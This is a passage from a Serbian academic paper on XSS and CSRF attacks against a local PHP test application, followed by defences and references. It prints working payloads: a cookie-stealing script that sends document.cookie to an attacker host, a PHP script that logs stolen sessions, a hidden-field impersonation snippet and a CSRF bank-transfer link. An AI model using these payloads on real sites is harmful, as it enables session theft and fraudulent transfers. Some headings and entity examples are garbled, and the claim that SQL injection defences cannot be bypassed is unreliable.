- Vlasnik web aplikacije je namerno uploadovao štetan kod,
- Web aplikacija može biti oštećena koristeći ranjivost iz mreže ili operativnog sistema,
- Stalna XSS ranjivost se može ostvariti ubacivanjem štetnog koda u javne oblasti sajta,
- Žrtva može kliknuti na specifično konstruisan DOM-bazirani XSS link.

Postoje dva tipa XSS-a:

1. Non-Persistent
2. Persistent

4.1 Non-Persistent XSS napad

Prvo šta napadač radi je provera da li je sajt XSS ranjiv. Da bi to odradio, napadač pretražuje na sajtu bilo koju funkcionalnost gde korisnik unosi podatke koji se šalju serveru i zatim se vraćaju nazad klijentu. Jedan od najčešćih funkcija koje se koriste u ovu svrhu su funkcije pretrage. Recimo da se podaci pretrage šalju serveru putem POST metode, imali bi sledeći PHP izvorni kod:

```
<?php
$parametar = $_POST['param'];
print "Traženi parametar je:". $parametar;
?>
```

Napadač za parametar pretrage može u formu za pretragu uneti sledeći sadržaj: `<script>alert('proba');</script>`. Ukoliko se nakon slanja parametara pretrage serveru pojavi JavaScript alert sa sadržajem "proba", sajt je XSS ranjiv. Nakon toga, napadač može modifikovati parametre pretrage da bi napravio sofisticiranije napade. Jedan od njih je i Cookie krađa. Napadač može uneti sledeći atribut pretrage da bi proverio ranjivost aplikacije na XSS:

```
<script> alert(9) </script>
```

Aplikacija odgovara na način, kao što je prikazano na slici 12. Što je znak da web aplikacija nema implementiran filter JavaScript unosa, i kao takva je ranjiva na

XSS napad. Naš test sajt ima još jedan propust. U stranici za pisanje komentara nalazi se skriveno polje čija vrednost predstavlja vrednost ključa iz tabele "login" koji jednoznačno označava svakog od korisnika.

Slika 10. Provera ranjivosti sajta na XSS napad

Napadač gledajući u izvorni HTML kod stranice može zapaziti pomenuto polje, promeniti mu vrednost i pisati u ime nekog od korisnika koji se nalazi u bazi.

```
68 <form action="" method="POST" name="dodajkomentar" id="dodajkomentar">
69 <textarea name="tekst" id="text" rows="5" cols="35"></textarea><br>
70 <input type="submit" value="Posalji" name="posalji">
71 <input type="hidden" name="idsesije" id="idsesije" value="3">
72 </form>
```

Slika 11. Deo izvornog HTML koda sa skrivenim poljem koje se može zloupotребiti

Napadač može uneti JavaScript kod u adresnom delu web browsera sa kojim će izmeniti sadržaj skrivenog polja, nakon čega će moći da piše komentare u ime nekog od korisnika. Isto tako, parametar "id" stranice za pregled profila sadrži vrednost ključa iz tabele "login", što omogućava napadaču da tu vrednost, pretražujući korisnike aplikacije iskoristi i piše komentare u ime željenog korisnika sajta. U slučaju da napadač želi da piše u ime administratora, on bira link "admin" nadimka i uzima vrednost parametra "id" iz novootvorene stranice:

(*<http://localhost/TestAplikacija/pregled.php?id=2>*).

U ovom slučaju id admina je 2. Kod koji napadač može uneti je sledeći:

```
javascript:document.getElementById("idsesije").value=2;
```

Nakon što se JavaScript kod izvrši, napadač može da napiše komentar po želji, a aplikacija će komentar procesirati kao da je pristigao od strane administratora. Napadač će morati da menja vrednost polja "idsesije" svaki put kad piše komentar lažno se predstavljajući.

DOBRO DOŠAO/LA **napadac**

Pretraga:

[admin](#) : Komentar admina
01.12.2013

[korisnik](#) : komentar korisnika
01.12.2013

[napadac](#) : [Link](#)
01.12.2013

[korisnik](#) : Lazno predstavljanje napadaca nakon ukradene sesije
01.12.2013

[admin](#) : Komentar od strane napadača za koji se misli da je produkt admina
01.12.2013

Slika 12. Komentar napadača u ime admina

DOBRO DOŠAO/LA **korisnik**

Pretraga:

[admin](#) : Komentar admina
01.12.2013

[korisnik](#) : komentar korisnika
01.12.2013

[napadac](#) : [Link](#)
01.12.2013

Slika 13. Zlonamerni link od napadača

4.1 Persistent XSS napad

Kod ovog napada, izvorni kod koji napadač unosi se najčešće nalazi sačuvan u bazi podataka. Šteta koju može napraviti Persistent XSS napad je daleko veća od štete koju pravi Non-Persistent XSS.

Primer Persistent XSS napada može biti krađa sesije korisnicima aplikacije. Napadač traga za formama za unos komentara u aplikaciji koji će biti vidljiv od strane drugih korisnika aplikacije. Unosi JavaScript kod koji će korisnicima nakon klika uzeti cookie sesije koju je server aplikacije poslao browseru i izvršiti preusmeravanje korisnika na drugi zlonamerni sajt kog napadač poseduje, gde će cookie biti sačuvan. Nakon čega je napadač u mogućnosti da promeni vrednost cookie-a u svom browseru, i na taj način ukrade sesiju korisniku, što će mu omogućiti da se dalje predstavlja na sajtu kao korisnik čija je sesija ukradena.

Recimo da napadač poseduje sajt: www.napad.com, napadač unosi sledeći JavaScript kod da bi došao do sesije:

```
<script> function posalji(){
  document.location="http://www.napad.com/preuzmi.php?sesija="+document.cookie;}
</script>
<a href = "#" onclick="posalji()"> Link </a>
```

Komentar napadača (u ovom slučaju link i JavaScript kod) će biti sačuvan u bazi podataka, i prikazan svim korisnicima koji posećuju sajt. Kada korisnik klikne na link u komentaru, browser će otvoriti sajt napadača i poslati vrednost sesije serveru napadača preko GET metode. Na taj način napadač dolazi do sesije korisnika. Napadač koristeći alat za izmenu sesije unosi sesiju korisnika u svom browseru nakon čega ga server prepoznaje kao drugog korisnika sajta (u ovom slučaju žrtvu), i napadač može dalje koristiti aplikaciju u ime žrtve.

Alat koji se može iskoristiti u svrhu menjanja vrednosti sesije je "Cookie Manager" dodatak za Mozilla Firefox web browser. Napadač sesiju može čuvati u bazi podataka, ili može zapisivati u tekstualnom dokumentu na serveru. Primer PHP skripte koja prihvata vrednost sesije od strane žrtve i čuva je u tekst fajlu:

```
<?php
$sesija = $_GET['sesija'];
$fajl=fopen("ukradi.txt", "w");
fputs($fajl,$sesija);
fclose($fajl);
header("location:http://www.nekalokacija.php");
?>
```

U kodu se može videti da aplikacija čuva sesiju u tekst fajlu pod nazivom "ukradi.txt", i nakon toga preusmerava korisnika na neku stranicu koja i ne mora biti opasna, tako da na ovaj način korisnik ne mora da nasluti šta se zapravo dogodilo. Napadaču je ostalo samo da s vremena na vreme proveri sadržaj "ukradi.txt" fajla i iskoristi tuđu sesiju za svoj napad.

Slika 14. Sadržaj ukradi.txt fajla

Slika 15. Izmena cookie vrednosti u Cookie Manager-u

Slika 16. Lažno predstavljanje napadača nakon ukradene sesije

4.3. Zaštita aplikacije od XSS napada

Jedno od rešenja koji se može primeniti u zaštiti od XSS napada je da sve specijalne HTML karaktere konvertujemo u njihove tekstualne entitete. Na taj način bi dobili sledeću konverziju karaktera: < - < > - > ' - ' " - " & - &. Na ovaj način ćemo omogućiti da se HTML kod ispiše na stranici onako kako je unet i sprečiti da se JavaScript kod izvrši u browseru. PHP poseduje dve funkcije koje konvertuju HTML tagove u entitete.

Jedna od njih je htmlspecialchars(), ova funkcija vrši automatsku konverziju HTML tagova u entitete:

```
<?php
$htmlkod = '<a href="lokacija.php">Link</a>';
print htmlspecialchars($htmlkod); // ispis: &lt;a
href=&#039;test&#039;&gt;Link&lt;/a&gt;
?>
```

Drugi način zaštite može biti izbacivanjem HTML tagova iz komentara. U ovu svrhu se može iskoristiti PHP funkcija strip_tags(). Ova funkcija briše sve HTML i PHP tagove u podatku i ostavlja samo čist tekst:

```
<?php
$podatak = '<p> Tekst u paragrafu.</p><!-- Komentar --> <a
href="lokacija.php">Link</a>';
print strip_tags($podatak); // ispis: Tekst u paragrafu. Link
?>
```

PHP funkcija strip_tags() ima još jednu mogućnost, a to je da izostavimo tagove koje ne želimo da izbacimo. Na primer, ukoliko želimo da omogućimo korisnicima da mogu da formatiraju svoj tekst, recimo da im omogućimo da mogu koristiti: <bold>, , <u> tagove, to možemo odraditi na sledeći način:

```
strip_tags($podatak, '<strong><em><u>');
```

U slučaju korišćenja opcije izostavljanja određenih tagova, moramo voditi računa koje tagove želimo da isključimo iz strip_tags() funkcije. Moramo uvek imati u vidu da se JavaScript funkcije mogu izvršiti korišćenjem atributa onLoad, onClick i sl.

10. CROSS-SITE SCRIPTING NAPAD (XSS)

Cross-Site falsifikovanje zahteva (eng. Cross-Site Request Forgery CSRF) je napad koji primorava korisnika (žrtvu), na obavljanje nepoželjnih akcija za koje je žrtva u trenutku izvršavanja napada ovlašćena. I ovde se mogu koristiti linkovi preko raznih chat aplikacija, komentara i slično kakav je to bio slučaj sa Cross-Site Scripting napadom.

Jedna od najvećih razlika između XSS i CSRF napada je ta što XSS za svoje delovanje obavezno zahteva korišćenje JavaScript koda, dok za CSRF to i nije potrebno, obzirom da se za CSRF mogu koristiti određene forme, slike, i ostali HTML elementi koji ne koriste JavaScript kod [10].

CSRF je napad gde je žrtva obmanuta na taj način da učita stranicu koja sadrži zlonameran zahtev. Zlonameran je zato što nasleđuje identitet i privilegije žrtve i obavlja neželjene akcije u ime žrtve. Postoji veći broj načina na koji se CSRF može implementirati. Kao prvo, moramo znati na koji način možemo generisati zlonamerni zahtev namenjen žrtvi koju napadamo.

Kao primer uzećemo dve osobe: Alisa i Denis. Alisa želi da pošalje 100 Eura Denisu koristeći se online bankarstvom i aplikacijom koja se nalazi na sajtu banka.com. Zahtev koji je generisan od Alise će izgledati ovako:

POST `http://banka.com/transfer.do HTTP/1.1 ... acct=Denis&iznos=100.`

Napadač je otkrio da će ista aplikacija odraditi isti taj transfer koristeći URL parametre: GET `http://banka.com/transfer.do?acct=Denis&iznos=100.` Napadač odlučuje da iskoristi ovaj propust koristeći Alisu kao žrtvu. Napadač konstruiše URL koji će prebaciti 100,000 Eura sa Alisinog računa:

GET `http://banka.com/transfer.do?acct=Napadac&iznos=100000.`

Sada kada je zlonamerni zahtev napravljen, napadač mora da prevari Alisu da podnese zahtev. Najjednostavniji način je da napadač pošalje Alisi HTML mail koji će biti sadržine:

`<a href="http://banka.com/transfer.do?acct=Napadac&iznos=100000"> Vidi </a>`

Pod pretpostavkom da je Alisa već prijavljena na sajtu banke, kada Alisa klikne na link, odradiće se transfer od 100,000 Eura sa Alisinog računa na račun napadača. Zbog toga što Alisa može otkriti identitet napadača, napadač se može služiti slikom umesto linkom:

`.`

Kada Alisa otvori mejl koji je poslao napadač, Alisa će videti na svom displeju samo ikonicu slike koju browser nije uspeo da prikaže. Browser će posetiti stranicu koja je navedena u "img" tag-u i podneti zahtev i ako nije u stanju da prikaže sliku.

5.1 Zaštita aplikacije od CSRF napada

Kako bi se smanjila mogućnost CSRF ranjivosti web aplikacije, najpre se mora detaljno povesti računa o XSS zaštiti, jer se u najvećem broju slučajeva XSS može iskoristiti da bi se odradio CSRF napad. Ukoliko je aplikacija ranjiva na XSS napad, najverovatnije će biti ranjiva i na CSRF. Kako bi se izbeglo lažno predstavljanje korisnika, trebalo bi iskoristiti sledeće mere zaštite [6]:

- Tražiti ponovnu prijavu korisnika prilikom svakog GET ili POST zahteva.
- Ograničiti vreme valjanosti cookie-a.
- Proveravati izvor poruke (gledati HTTP Referer zaglavlje).
- Uvesti dodatne tajne sigurnosne oznake koje se pridružuju identifikacijskim oznakama sesije i zahteva.
- Korišćenje novih oznaka u svakom novom zahtevu čak i unutar iste sesije.
- Odbijanje zastarelih oznaka.
- Izbegavanje prikazivanja sesijskih oznaka u URL adresi.

ZAKLJUČAK

Napredovanjem tehnologije, pronalaze se i mogućnosti narušavanja sigurnosti komunikacionih kanala, narušavanja lične privatnosti i sigurnosti. Tehnologija svakim danom omogućuje sve više dobre funkcionalnosti, ali isto tako i predstavlja problem koji je teško kontrolisati, posebno ako se radi o pristupu udaljenim računarima, gde postajemo potencijalne mete osoba koje izvode računarske napade.

Znamo da vrlo često, korišćenje bilo kakvih aplikacija, posebno ako se radi o aplikacijama na Internetu, zahtevaju registraciju, prijave različitog tipa u sisteme kako bi se dobili korisnički podaci za pristup aplikaciji. To najčešće podrazumeva unos ličnih podataka, kao što je mejl adresa, lozinke, brojevi kartica i drugi lični podaci, što može dovesti do narušavanja sigurnosti korisnika aplikacije.

Nakon predstavljenih analiza, možemo reći da kada se otkrije ranjivost, relativno brzo se nađu i odgovarajuće ispravke za aplikaciju. Napadi koristeći se client-side propustima se najčešće koriste i razvijaju u poslednjih nekoliko godina. Napadi na baze podataka (SQL Injection) polako nestaju, s obzirom da se prave veoma jake zaštite koje je nemoguće zaobići.

Zaključujemo da, kada se govori o zaštiti i bezbednosnim rizicima, mora se imati na umu da je to neprestana borba između onih koji otkrivaju propuste i napadaju aplikacije i onih koji prave mehanizme odbrane. Ono što je danas aktuelno kao metod napada, u bliskoj budućnosti može biti modifikovano ili zamenjeno nekom drugim metodom.

REFERENCES

1. Mike Shema, Hacking Web Apps, Edition: 1, Wiley publication, ISBN-13: 978-1597499514, ISBN-10: 159749951X, 2010.
2. Rich Cannings, Himanshu Dwivedi, Zane lackey, Hacking Exposed Web 2.0, Edition: 1, ISBN-13: 978-0071494618, ISBN-10: 0071494618 December 17, 2007.
3. Joel Scambraz, Vincent Liu, Caleb Sima, Hacking Exposed Web Application 3, ISBN: 9780071740647, Division: Professional, Pub Date: 2010.
4. Ćamil Sukić, Sigurnost računarskih sistema, udžbenik, ISBN 978-86-84389-37-6, COBISS.SR-ID 189645068, Univerzitet u Novom Pazaru, 2012.
5. Justing Clark, SQL Injection Attack and Defense, Wiley publication, ISBN: 978-1-118-36218-1, 552 pages, December 2012.
6. Dafydd Stuttard, Marcus Pinto, The Web Application Hacker's Handbook, Edition: 2nd, ISBN-13: 978-1118026472, ISBN-10: 1118026470, 2012.
7. Ryan C. Barnett, Web Application Defender's Cookbook: Battling Hackers and Protecting Users, Edition: 1st, ISBN-13: 978-1118362181, 2012.
8. INTERNET IZVORI:
9. [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF\)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
10. <http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/>
11. <http://www.infosecpro.com/applicationsecurity/a52.htm>
12. http://php.net/mysql_real_escape_string

RESUME

With the advancement of technology, there are also opportunities to violate the security of communication channels, violations of personal privacy and security. The technology provides more and more good functionality every day, but it also presents a problem that is difficult to control, especially if it is access to remote computers, where we become the potential targets of those who make computer attacks.

We know that very often, the use of any application, especially in the case of applications on the Internet, requires registration, applications of different types in the systems in order to obtain user data for accessing the application. This usually involves the input of personal data, such as email addresses, passwords, card numbers, and other personal data, which can impair the security of the application's users.

After the analyzes presented, we can say that when a vulnerability is detected, the corresponding corrections for the application are relatively quickly found. Attacks using client-side flaws are most commonly used and developed in the last few years. Database attacks (SQL Injection) slowly disappear, since very strong protection is made that can not be overlooked.

We conclude that, when it comes to protection and security risks, it must be kept in mind that this is a continuous struggle between those who detect flaws and attacks applications and those who make defense mechanisms. What is nowadays actual as an attack method, in the near future can be modified or replaced by some other method.